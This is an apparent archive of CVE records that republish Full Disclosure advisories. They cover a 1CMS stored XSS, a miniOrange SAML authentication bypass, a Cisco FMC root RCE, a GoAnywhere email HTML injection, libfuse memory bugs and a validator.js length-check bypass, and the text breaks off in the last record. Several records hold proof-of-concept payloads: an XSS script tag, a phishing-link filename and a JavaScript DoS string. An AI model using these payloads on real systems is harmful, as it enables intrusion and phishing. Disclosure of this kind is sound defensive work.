Find a vulnerability

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-52307",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "\u61d2-\u764c-\u75c7\uff5e via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CVE-2026-52307: 1CMS v5.6 Authenticated Stored XSS Vulnerability\n\n\nVulnerability Description\nAn authenticated stored cross-site scripting (XSS) vulnerability exists in the Column Management component of ClassCMS \n1CMS v5.6. Attackers can execute arbitrary web scripts or HTML by injecting a crafted payload into the title field.\n\n\n- Vulnerability Type: Cross Site Scripting (XSS)\n- Vendor: ClassCMS\n- Affected Product: 1CMS v5.6\n- Affected Component: Column Management \u2192 Article Edit page\n- Attack Type: Remote\n- Impact: Code Execution (Yes), Information Disclosure (Yes)\n\n\nAttack Vectors\nThe vulnerability is remotely exploitable over the network. An authenticated administrator can inject arbitrary \nJavaScript into the article title field via the Column Management \u2192 Article Edit page. When other users view the \narticle list or detail page containing the malicious title, the injected script executes in their browsers.\n\n\n- Attack complexity: Low\n- Privileges required: Administrator\n\n\nAffected Versions\n1CMS v5.6 (and possibly earlier versions).\n\n\nReproduction Steps\n1. Download and install 1CMS v5.6 on a local environment (PHP 5.2\u20138.4 supported).\n2. Complete the installation and log in as an administrator.\n3. Navigate to the admin dashboard \u2192 Column Management \u2192 Article Edit.\n4. In the title field, inject the following payload:\n\u0026nbsp; \u0026nbsp;\u003cscript\u0026gt;alert(\u0027XSS\u0027)\u003c/script\u0026gt;\n5. Save the article.\n6. View the article list or detail page as any user.\n\n\nExpected Result\nThe injected JavaScript (alert(\u0027XSS\u0027)) executes in the browser of any user viewing the affected page, confirming the \nstored XSS vulnerability.\n\n\nImpact Analysis\n- Arbitrary script execution in the victim\u0027s browser\n- Session hijacking \u2013 attackers can steal session cookies\n- Information disclosure \u2013 sensitive data can be exfiltrated\n- Phishing attacks \u2013 malicious content can be injected\n- Defacement \u2013 the CMS appearance can be altered\n\n\nRemediation\n- Upgrade to the latest version of 1CMS if a patch is available\n- Implement proper input sanitization and output encoding\n- Restrict administrator access to trusted users only\n- Consider using Content Security Policy (CSP) headers\n\n\nCVE ID: CVE-2026-52307\nDiscovered: 2026-09-03\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:49Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/31"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/31"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/31"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CVE-2026-52307: Stored XSS in 1CMS v5.6",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-52307",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0314",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/31",
            "automated": true,
            "contentSha256": "0a1b0e53b14484b3309ffacfb503cd9d2b86c1e50b71d841cf5513c0138bc7c3",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/31",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-06T08:08:23Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0314"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T18:48:12Z",
    "dateUpdated": "2026-09-09T10:09:49Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0314"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-15013 \u2013 miniOrange",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "\u00d6ner Efe G\u00fcng\u00f6r"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hello Full Disclosure,\n\nI\u0027d like to share an independent lab Proof-of-Concept for CVE-2026-15013.\n\n### CVE-2026-15013 \u2013 miniOrange SAML SSO \u003c= 5.4.3 Unauthenticated\nAuthentication Bypass\n\nSAML Signature Algorithm Confusion vulnerability. An unauthenticated\nattacker can forge a valid SAMLResponse by forcing HMAC-SHA1 verification\nagainst the IdP\u0027s public key, allowing full account takeover (including\nadministrators).\n\nRoot cause: Mo_SAML_Utilities::mo_saml_cast_key() trusts the\nattacker-controlled SignatureMethod algorithm.\n\nPoC (full chain to admin + optional webshell/reverse shell) + Docker lab:\nhttps://github.com/zer0dayf/CVE-2026-15013\n\nPatched in 5.4.4+\nOriginal finder: lhking (Wordfence)\nCVE record: https://www.cve.org/CVERecord?id=CVE-2026-15013\n\nThis repository is for educational and authorized testing purposes only.\n\nRegards,\nzer0dayf\nhttps://github.com/zer0dayf\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:07:06Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/33"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/33"
        },
        {
          "url": "https://github.com/zer0dayf"
        },
        {
          "url": "https://github.com/zer0dayf/CVE-2026-15013"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15013"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/33"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CVE-2026-15013 \u2013 miniOrange SAML SSO \u003c= 5.4.3 Unauthenticated Authentication Bypass (PoC)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-15013",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0305",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/33",
            "automated": true,
            "contentSha256": "6ff39ec1707c5181458197e8887c3a4ddbfd8da27ae0cbce9c91010e2169abf7",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/33",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-29T12:00:54Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0305"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T11:40:49Z",
    "dateUpdated": "2026-09-09T10:07:06Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0305"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-20079 - Cisco",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Banks Tools"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CVE-2026-20079 - Cisco Secure Firewall Management Center Authentication\nBypass to Root RCE\n\nProduct:\nCisco Secure Firewall Management Center\n\nTested version:\n10.0.1-1\n\nCVE:\nCVE-2026-20079\n\nPoC author:\nArian Eidizadeh (CyberAuth)\n\nPublic PoC:\nhttps://github.com/CyberAuth/CVE-2026-20079\n\nTechnical write-up:\nhttps://banks.tools/writeups/cve-2026-20079-cisco-secure-fmc\n\nThe publicly documented authentication-bypass-to-root-RCE chain was\nindependently reproduced against Cisco Secure FMC 10.0.1-1 with confirmed\nuid=0(root) execution.\n\nThe published Python implementation provides separate fingerprint,\nauthentication-bypass check, bounded root-proof, exploit, verification, and\ncleanup functionality.\n\nThis work does not claim discovery of CVE-2026-20079 or independent\ndiscovery of the original exploit chain. The contribution is the\nindependent reproduction and public PoC implementation.\n\nReferences:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2\nhttps://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079\nhttps://github.com/CyberAuth/CVE-2026-20079\nhttps://banks.tools/writeups/cve-2026-20079-cisco-secure-fmc\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:31Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/80"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/80"
        },
        {
          "url": "https://banks.tools/writeups/cve-2026-20079-cisco-secure-fmc"
        },
        {
          "url": "https://github.com/CyberAuth/CVE-2026-20079"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/80"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CVE-2026-20079 - Cisco Secure Firewall Management Center Authentication Bypass to Root RCE",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-20079",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0302",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/80",
            "automated": true,
            "contentSha256": "f1c16fd7453f7a8545272853cf3a9362e688760671daf88c47751d45bcef0303",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/80",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-20T18:53:01Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0302"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T11:40:48Z",
    "dateUpdated": "2026-09-09T10:09:31Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0302"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-0972 GoAnywhere MFT",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SBA Research Security Advisory via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n# GoAnywhere MFT Email HTML Injection #\n\nLink: https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20251120-01_GoAnywhere_MFT_Email_HTML_Injection\n\n## Vulnerability Overview ##\n\nGoAnywhere MFT before 7.10.0 is affected by an HTML injection vulnerability\nin its email templating functionality. If an attacker is able to influence\nthe content of a template variable, malicious HTML can be embedded into\noutgoing emails generated by the application. As these messages originate\nfrom a trusted system, the vulnerability may facilitate phishing and other\nsocial-engineering attacks. The issue arises from insufficient HTML encoding\nof untrusted input before inclusion in HTML email content.\n\n* **Identifier**            : SBA-ADV-20251120-01\n* **Type of Vulnerability** : HTML Injection\n* **Software/Product Name** : [GoAnywhere MFT](https://www.goanywhere.com/products/goanywhere-mft)\n* **Vendor**                : [Fortra](https://www.fortra.com/)\n* **Affected Versions**     : \u003c= 7.9.1\n* **Fixed in Version**      : 7.10.0\n* **CVE ID**                : CVE-2026-0972\n* **CVSS Vector**           : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N\n* **CVSS Base Score**       : 5.4 (Medium)\n\n## Vendor Description ##\n\nGoAnywhere Managed File Transfer is a comprehensive managed file transfer\nsolution that will manage your organization\u2019s file transfer software,\nfile sharing, secure FTP, and automation needs through a single interface.\n\n\nSource: \u003chttps://www.goanywhere.com/products/goanywhere-mft\u003e\n\n## Impact ##\n\nAttackers can abuse the email templating functionality by injecting\nmalicious content into template variables, resulting in HTML injection in\noutgoing emails.\n\n## Vulnerability Description ##\n\nIt is possible to manipulate HTML emails generated via the \"Send Email\"\nfunctionality if an attacker is able to control the content of a template\nvariable. User-supplied data inserted into the email body is not properly\nHTML-encoded, and there is no option to enforce encoding for variables\nduring email template configuration.\n\n![Send Email Configuration](images/send_email_configuration.png)\n\nAs a result, an attacker can inject arbitrary HTML content into outgoing\nemails. Since these emails are sent by the legitimate mail server and\ntherefore appear to originate from a trusted sender, recipients are more\nlikely to trust their contents. An attacker could, for example, insert links\nthat redirect users to a phishing website designed to capture credentials\nor other sensitive information, or to deliver further malicious content.\n\nThis vulnerability can therefore be used to conduct effective phishing or\nsocial engineering attacks leveraging the trust relationship between the\napplication and its users.\n\n## Proof of Concept ##\n\n1. Configure an \"Upload Successful\" trigger: Set up an automation rule or\nworkflow that is triggered whenever a user uploads a file in the application\n[1]. This trigger should fire on each successful upload and proceed to\nexecute the subsequent action.\n\n2. Attach the \"Send Email\" functionality to the trigger: Add a \"Send\nEmail\" action that is executed whenever the \"Upload Successful\" trigger\nfires. Configure this action to send an HTML email to an internal recipient\n(for example, a support or operations mailbox) to notify them that a new\nfile has been uploaded. [2]\n\n3. Include the uploaded filename as a variable in the email template:\nIn the HTML email template, insert the variable representing the uploaded\nfilename into the email body, for example: A new file has been uploaded:\n${VARIABLE_NAME}. The email will then be sent automatically to the internal\nrecipient whenever a file is uploaded.\n\n4. Upload a file with HTML special characters in the filename: Upload a file\nwhose filename contains HTML markup instead of a normal, benign filename. For\ninstance:\n`Please enter your password here: \u003ca href=\u0027evil.site\u0027\u003eevil.site\u003ca\u003e.jpg`.\nBecause the filename is treated as data but inserted directly into\nthe HTML email without encoding, the HTML tags are preserved as-is.\n\n5. Observe the manipulated HTML content in the received confirmation\nemail: When the internal recipient receives the confirmation email, the\nfilename variable will be rendered as part of the HTML content. Instead of\ndisplaying the raw text of the filename, the email client interprets the\ninjected HTML: the phishing link appears as a clickable hyperlink. This\ndemonstrates that attacker-controlled input can manipulate the structure\nand content of outgoing HTML emails, enabling the injection of malicious\nlinks and other HTML elements into messages that appear to come from a\ntrusted internal system.\n\n## Recommended Countermeasures ##\n\nWe recommend updating to GoAnywhere MFT version 7.10.0 or later.\n\nGoAnywhere MFT should not allow unencoded HTML special characters from\nuser provided sources in email output and instead apply correct encoding\naccording to the output context. For example, when displaying the content\nwithin an HTML email, HTML encoding must be performed before the untrusted\ndata is displayed.\n\n## Timeline ##\n\n* `2025-10-19` Identified the vulnerability in version 7.8.3 Build 7\n* `2025-12-01` First contact with Fortra support team\n* `2025-12-12` Disclosed vulnerability to Fortra support team and started\n               our 90 day disclosure timeline\n* `2026-01-20` Vulnerability was assigned CVE-2026-0972 by Fortra\n* `2026-03-18` Disclosure timeline extended due to promised fix\n               with release 7.10 at the end of March\n* `2026-04-07` Disclosure timeline extended again due to delayed release\n* `2026-04-20` Fortra published a fix with release 7.10\n* `2026-04-23` Public disclosure\n\n## References ##\n\n1. GoAnywhere MFT Triggers:\n   \u003chttps://www.goanywhere.com/products/goanywhere-mft/automation/triggers\u003e\n2. GoAnywhere MFT Email Connectivity:\n   \u003chttps://www.goanywhere.com/products/goanywhere-mft/connectivity/email\u003e\n3. Vendor Security Advisory:\n   \u003chttps://www.fortra.com/security/advisories/product-security/fi-2026-006\u003e\n\n## Credits ##\n\n* Philipp Schweinzer ([SBA Research](https://www.sba-research.org/))\n\nThe discovery of this vulnerability was made possible through support from\n[CYSSDE](https://cyssde.eu/) and the European Union.\n\n![CYSSDE](images/cyssde.png)\n-----BEGIN PGP SIGNATURE-----\n\niQJPBAEBCAA5FiEEL9Wp/yZWFD9OpIt6+7iGL1j3dbIFAmnqfbcbFIAAAAAABAAO\nbWFudTIsMi41KzEuMTIsMiwxAAoJEPu4hi9Y93WyzUwP/R71yiNhsJF2yZMNqxEx\nwPSH2FKSSMC2AU+nV7ukYpbfK0APhq/8NLOXG6jXpmXH1F5pmWvoPdVQeGQinqef\ndGH19oe7Wd+lhBEK5icO10L6NNEGyxy+gev21Kbykf6+wrMzJz+ICjpyMBdi/4zV\nYaiIlprrtCtTylSTBUMV9fXqcj1HKWWtWTDObXI9JgvGh4IfYzNrV6AgfGv6GvIJ\ngSKHSmVvCmd1WWQMA/JiuEBCpgCeJIXcApKK+vuxmduh4fGRnpcWc0LxCb82ny+O\n/qOdYOt+nSvwEttVBARYS1d+uMYfLiiWYNZD3g84o8VAaelR9AT9NeCkOUPhEGAd\nxbM9A+Y46HqdPt0mJQ81bPi938r6Xruvg3rAw4JoQSV8/VCtzWmicIiLsVZJNRdb\nCVDgCX8tg8gpMlzcssmnNUrpsBolb3ovxiBVj1SXfi1c/ln6FWbvnnjNYBmkWPSg\nQUK/m7ZgKFuNCqf6z8gBK7jOtK2Bv7OiMZ4s+gVEuNRYFFZOoQn9DtnWgAUcSbI5\n3l0I56qPNgWqWUG3AwnP6P24x/6qjOn3jyLo5CKONd1NeGyIe1XL44Xh6I2B5hou\nC4qkUGB67wNS/wQwDUuEdlo62TLGnd48N9dG8VGzw+AI9DBR0DXjFvvlLfz5cQ5q\nxg2FGsgh2xDnCa3KBno+0HOr\n=2+hu\n-----END PGP SIGNATURE-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:29Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/8"
        },
        {
          "url": "https://cyssde.eu/"
        },
        {
          "url": "https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20251120-01_GoAnywhere_MFT_Email_HTML_Injection"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.fortra.com/"
        },
        {
          "url": "https://www.fortra.com/security/advisories/product-security/fi-2026-006"
        },
        {
          "url": "https://www.goanywhere.com/products/goanywhere-mft"
        },
        {
          "url": "https://www.goanywhere.com/products/goanywhere-mft/automation/triggers"
        },
        {
          "url": "https://www.goanywhere.com/products/goanywhere-mft/connectivity/email"
        },
        {
          "url": "https://www.sba-research.org/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SBA-ADV-20251120-01] CVE-2026-0972: GoAnywhere MFT Email HTML Injection",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-0972",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0247",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/8",
            "automated": true,
            "contentSha256": "b86c1665c4c67e4fa72469aea279d0ddfbbe325fcd127bedbc4c583f89905d93",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-23T20:15:13Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0247"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-09T10:09:29Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0247"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-33150 CVE-2026-33179 libfuse",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Abhinav Agarwal"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Two memory safety vulnerabilities in libfuse\u0027s io_uring code path\n(introduced in 3.18.0) have been fixed in libfuse 3.18.2. Only the\nio_uring transport is affected; the traditional /dev/fuse path is not.\n\nAffected versions: libfuse \u003e= 3.18.0, \u003c 3.18.2\nFixed in: libfuse 3.18.2\n  https://github.com/libfuse/libfuse/releases/tag/fuse-3.18.2\n\n\nCVE-2026-33150: Use-After-Free\nSeverity: High (CVSS 7.8)\nCWE: CWE-416\n\nUse-after-free in io_uring session shutdown path. A local user can\ncrash the FUSE daemon or potentially execute arbitrary code.\n\nAdvisory: https://github.com/libfuse/libfuse/security/advisories/GHSA-qxv7-xrc2-qmfx\nFix: https://github.com/libfuse/libfuse/commit/49fcd891a58f622c098e2ca67d66086f7b213836\nCredit: Abhinav Agarwal (reporter)\nRemediation review: Akshat Sinha\n\n\nCVE-2026-33179: NULL Pointer Dereference + Memory Leak\nSeverity: Moderate (CVSS 5.5)\nCWE: CWE-476\n\nMissing NULL checks and error-path cleanup in io_uring queue\ninitialization can crash the FUSE daemon on allocation failure\nand leak NUMA memory.\n\nAdvisory: https://github.com/libfuse/libfuse/security/advisories/GHSA-x669-v3mq-r358\nFix: https://github.com/libfuse/libfuse/commit/7beb86c09b6ec5aab14dc25256ed8a5ad18554d7\nCredit: Abhinav Agarwal (reporter)\nRemediation review: Akshat Sinha\n\n\nBoth issues were reported privately to the libfuse maintainer\nand fixed in a coordinated release.\n\nTimeline:\n  2026-03-16  Use-after-free vulnerability reported to libfuse maintainer\n  2026-03-17  NULL deref vulnerability reported to libfuse maintainer\n  2026-03-18  Release 3.18.2 with fixes\n  2026-03-19  GHSA advisories published (CVE-2026-33150, CVE-2026-33179)\n\n--\nAbhinav Agarwal\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-416",
              "description": "CWE-416",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-476",
              "description": "CWE-476",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:12:06Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/12"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/12"
        },
        {
          "url": "https://github.com/libfuse/libfuse/commit/49fcd891a58f622c098e2ca67d66086f7b213836"
        },
        {
          "url": "https://github.com/libfuse/libfuse/commit/7beb86c09b6ec5aab14dc25256ed8a5ad18554d7"
        },
        {
          "url": "https://github.com/libfuse/libfuse/releases/tag/fuse-3.18.2"
        },
        {
          "url": "https://github.com/libfuse/libfuse/security/advisories/GHSA-qxv7-xrc2-qmfx"
        },
        {
          "url": "https://github.com/libfuse/libfuse/security/advisories/GHSA-x669-v3mq-r358"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/12"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CVE-2026-33150, CVE-2026-33179: libfuse io_uring memory safety vulnerabilities (use-after-free, NULL deref)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-33150",
              "type": "related"
            },
            {
              "destId": "CVE-2026-33179",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0234",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/12",
            "automated": true,
            "contentSha256": "4595aaa7135ad609f6410e48b1a9e8430a6c92bad3569c374111d9e5027fdcae",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/12",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-03-21T01:41:03Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0234"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:41Z",
    "dateUpdated": "2026-09-09T10:12:06Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0234"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2025-12758 Unicode Variation",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Karol Wr\u00f3tniak"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Summary\n=======\nA vulnerability was discovered in the popular JavaScript library\n\u0027validator\u0027.\nThe isLength() function incorrectly handles Unicode Variation Selectors\n(U+FE0E and U+FE0F). An attacker can inject thousands of these zero-width\ncharacters into a string, causing the library to report a much smaller\nperceived length than the actual byte size. This leads to validation\nbypasses,\npotential database truncation, and Denial of Service (DoS).\n\nMetadata\n========\nCVE ID: CVE-2025-12758\nVulnerability Type: Incomplete Filtering of Special Elements (CWE-792)\nAffected Package: validator (npm)\nAffected Versions: \u003c 13.15.22\nFixed Version: 13.15.22\nCVSS Score: 7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H\n\nDescription\n===========\nThe \u0027validator\u0027 library\u0027s isLength() method is widely used to enforce\nconstraints on input data. However, the implementation failed to account\nfor\nUnicode Variation Selectors. These are zero-width code points that modify\nthe\npresentation of the preceding character (e.g., changing a text character\ninto\nan emoji).\n\nBecause these characters have zero width but occupy bytes in memory (UTF-16\nsurrogate pairs or single code points depending on the environment), an\nattacker can craft a payload that:\n1. Appears to have a length of 1 (e.g., \u0027a\u0027 followed by 5000 variation\nselectors).\n2. isLength() reports it as length 1 or 2 (depending on internal logic).\n3. The actual memory/storage size is massive (e.g., 10,000+ bytes).\n\nImpact\n======\n- Denial of Service (DoS): Sending extremely large payloads that pass\nlength\n  checks can exhaust server memory or CPU during processing.\n- Data Truncation: Databases with strict byte limits (e.g., VARCHAR(255))\n  may truncate the string, potentially leading to data corruption or\n  application logic errors.\n- Security Bypass: Bypassing UI or API limits intended to prevent large\n  blobs of data.\n\nProof of Concept (PoC)\n======================\nconst validator = require(\u0027validator\u0027);\n\n// \u0027a\u0027 followed by many Variation Selector-16 (\\uFE0F)\nconst payload = \u0027a\u0027 + \u0027\\uFE0F\u0027.repeat(5000);\n\nconsole.log(\"Actual length (chars):\", payload.length); // 5001\nconsole.log(\"Validator isLength(payload, {max: 5}):\",\n            validator.isLength(payload, {max: 5}));\n\n// In vulnerable versions, this returns \u0027true\u0027 because selectors\n// were not properly counted or were ignored in a way that bypassed\n// the total length check.\n\nFix\n===\nThe issue was fixed in version 13.15.22 